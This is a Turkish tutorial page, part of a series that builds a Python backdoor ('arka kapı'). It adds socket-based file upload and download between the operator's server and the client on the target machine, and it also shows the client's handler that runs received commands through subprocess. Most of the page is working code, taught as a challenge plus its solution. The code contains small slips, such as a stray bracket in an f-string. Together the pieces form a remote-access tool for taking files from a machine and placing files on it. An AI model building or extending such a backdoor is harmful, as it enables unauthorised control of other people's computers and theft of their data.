> For the complete documentation index, see [llms.txt](https://bytistan.gitbook.io/baytistan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bytistan.gitbook.io/baytistan/arka-kapi/dosya-indirme-ve-yukleme.md).

# Dosya İndirme ve Yükleme

Bu arka kapı programının işe yarabilmesi için son bir dokunuşa ihtiyacı var. Bilgisayarda yetkim var ama dosya indirip yükleyemiyorsam ne işe yarar :)&#x20;

## Temel Yapının Kurulması

İkisin ayrı ayrı yazmak isterdim ama birbirlerinin tersi yani sunucu tarafında indirme işlemi başlatabilmem için istemci tarafında yükleme işlemi başlatmam gerek :) kafanız karıştımı karışmasın.

Birbirlerine karpuz atan iki kişiyi düşünün karpuzu atan kişi yükleme işlemi başlatıyor, alan kişi ise indirme, ikisinin aynı anda birbirlerine karpuz atması veya karpuz beklemesi komik olurdu :)

### Dosyanın oluşturulması

Kod tekrarına gitmemek için ayrı bir dosya oluşturuyorum ismi `file_transfer` olsun.

```bash
touch file_transfer.py
```

### Dosyanın İçe Aktarılması

```python
# client.py / server.py

# ...

from file_transfer import *

# ...
```

Bu satırı hem `client.py` hem de `server.py` dosyaları içerisine yazıyorum. Basitçe `file_transfer` dosyası içerisindeki herşeyi içe aktarmış oluyorum.

### Bağımlılıkların İçe Aktarılması

```python
import time
```

Veri aktarımı bittiği zaman kısa bir bekleme yapmam gerek, o yüzden `time` kütüphanesini kullanıyorum.

### Dosya Yükleme İşlemi

Yükleme işleminde veri beklenmez yüklenir :) bilmediğinizden değil ama açıklama gereği duydum :)

```python
def upload(conn, cmd):
    file_name = cmd[1] 

    with open(file_name, "rb") as f:
        while True:
            bytes_read = f.read(1024) # 1024 byte'lık veri okuyor
            if not bytes_read:
                break
            conn.sendall(bytes_read) # Veriyi istemciye gönderiyor
    
    conn.sendall(b"<END>")
    time.sleep(1)
```

Dosya adını komut üzerinden alıp `"rb"` read byte modunda açıyorum.&#x20;

Sonsuz bir döngü oluşturup her seferinde 1024 byte'lık veri okuyorum. Okuduğum veriyi `conn` nesnesinin `sendall` methodu ile yolluyorum.&#x20;

Gönderecek veri kalmadığı zaman ise döngüyü sonlandırıp `"<END>"` bayrağını yolluyorum ve 1 saniye bekliyorum.

{% hint style="info" %}
Bir saniye beklenmesinin sebebi bazen `END` bayrağı ile beraber durum mesajı'da gidebiliyor, sonra sunucu ve istemci aynı anda dinleme moduna düşüyor.
{% endhint %}

### Dosya İndirme İşlemi

İndirme işlemi olduğu için sadece veri alıyorum.

```python
def download(conn, cmd):
    file_name = cmd[1]

    with open(file_name, "wb") as f:
        while True:
            data = conn.recv(1024) # İstemciyi dinliyor

            if b"<END>" in data:
                f.write(data.replace(b"<END>", b""))
                break

            f.write(data) # Alınan veriyi dosyaya yazıyor

```

Dosya adını yani `file_name` değişkenini komut listesinin ikinci elemanından alıyorum `cmd[1]` üzerinden. Daha sonrasında bu dosya adını kullanarak `"wb"` yani `write byte` modunda bir dosya açıyorum, byte yazacağım için gayet makul.

Sonrasında sonsuz bir döngü oluşturuyorum. Büyük verileri de parçalara ayırarak alabilirim. Bu yüzden `conn.recv(1024)` ifadesi ile her seferinde 1024 byte'lık veri alıyorum.

Bittiğini anlamam için byte'ın son kısmına `"<END>"` bayrağı ekledim, bu bayrak verinin içerisinde gelmiş ise döngüyü sonlandırıyorum.

### Meydan Okuma

Bu diğer meydan okumadan bir tık daha zor, ama yapabileceğine inanıyorum. Senden isteğim `download` ve `upload` adında iki farklı komut oluşturup  istemci tarafında bu komutların çalışmasını sağlaman.

***

## Meydan Okuma Çözümü: İndirme ve Yükleme İşlevleri

İstemci tarafında yaptığıma benzer şekilde `download` ve `upload` anahtar kelimelerini filtreliyorum.

### Sunucuya Komutların Entegre Edilmesi

Sunucu koduna `upload` ve `download` adında iki yeni komut entegre etmem gerek, çünkü bu komutlar benim ürettiğim iki yeni komut.

```python
# server.py

# ...

def __init__(self):
    # ...
    
    self.exception_cmd = {
        "download": download,
        "upload": upload
    }

# ...

```

Komutları filtreleyebilmek için bir sözlük içerisinde tanımlıyorum.

{% hint style="info" %}
`upload` ve `download` fonksiyonlarını çağırmadım sadece tanımladım.
{% endhint %}

#### Döngüde Filtreme İşlemi

Gelen komutları filtreleyip, benim uydurduğum komutlar mı? Yoksa zaten halihazırda var olan komutlar mı? Diye ayırt ediyorum..

<pre class="language-python"><code class="lang-python"><strong># server.py
</strong>
# ...

def listen(self):
    # ...
    
    while True:

        message = input(" -> ")
        
        cmd = message.split(" ")

        if len(cmd) > 0 and cmd[0] in self.exception_cmd.keys():
            function = self.exception_cmd.get(cmd[0])

            cmd[0]= "download" if cmd[0] == "upload" else "upload" 

            space = " "
            message = space.join(cmd)  

            conn.send(message.encode())  

            function(conn, cmd)
        else:
            conn.send(message.encode())  

        data = conn.recv(1024).decode()

        if not data:
            break

        print(str(data))
    
    # ...
</code></pre>

Girdiğim veriyi boşluklarından parçalara ayırıp sonrasında `self.exception_cmd.keys()`anahtar listesi içerisinde var mı diye bakıyorum, eğer varsa bu benim uydurduğum bir komut demektir, değilse normalde yapılan işlemler aynen devam ediyor `else` içerisinde.

Sonra elde ettiğim komut adını kullanarak `self.exception_cmd`  sözlüğü içerisinden fonksiyonu buluyorum.

Sunucuda `download` ise istemcide `upload` olacağı için komutu karşıtı olan ile değiştiriyorum. Sonrasında `join` ile tek bir `string` haline getirip istemciye yolluyorum.

Son olarak daha önceden tanımladığım `function` değişkenini doğru parametreler ile çağırıyorum.

### İstemciye Kodların Entegre Edilmesi

Burada yapılan işlem sunucuya nazaran bir tık daha kolay.

```python
# client.py

# ...

def __init__(self):
    # ...
    
    self.exception_cmd = {
        "upload": upload,
        "download": download
    }
    
    # ...
    
# ...
```

Kullanacağım komutları tanımlıyorum.

<pre class="language-python"><code class="lang-python"># client.py

# ...

def process(self, data):

    cmd = data.split(" ")

    if cmd[0] == "cd":
        path = "" if len(cmd) &#x3C; 1 else cmd[1]
        os.chdir(path) 
        return "[INFO] Direction succesfuly changed."
<strong>    elif len(cmd) > 0 and cmd[0] in self.exception_cmd.keys():
</strong><strong>        function = self.exception_cmd.get(cmd[0])
</strong><strong>        function(self.conn, cmd)
</strong><strong>        status = "downlaod" if cmd[0] == "upload" else "upload"
</strong><strong>        return f"[INFO] {[cmd[1]} file successfully {status}"
</strong>    else:
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.stdout
 

# ...
</code></pre>

Sadece `process` metot'una bir koşul satırı ekliyorum, metot'a gelen komut adına göre bulup çağırıyorum.&#x20;

Sonrasında işlemin tamamlandığını bildiren bir mesaj dönüyorum.&#x20;
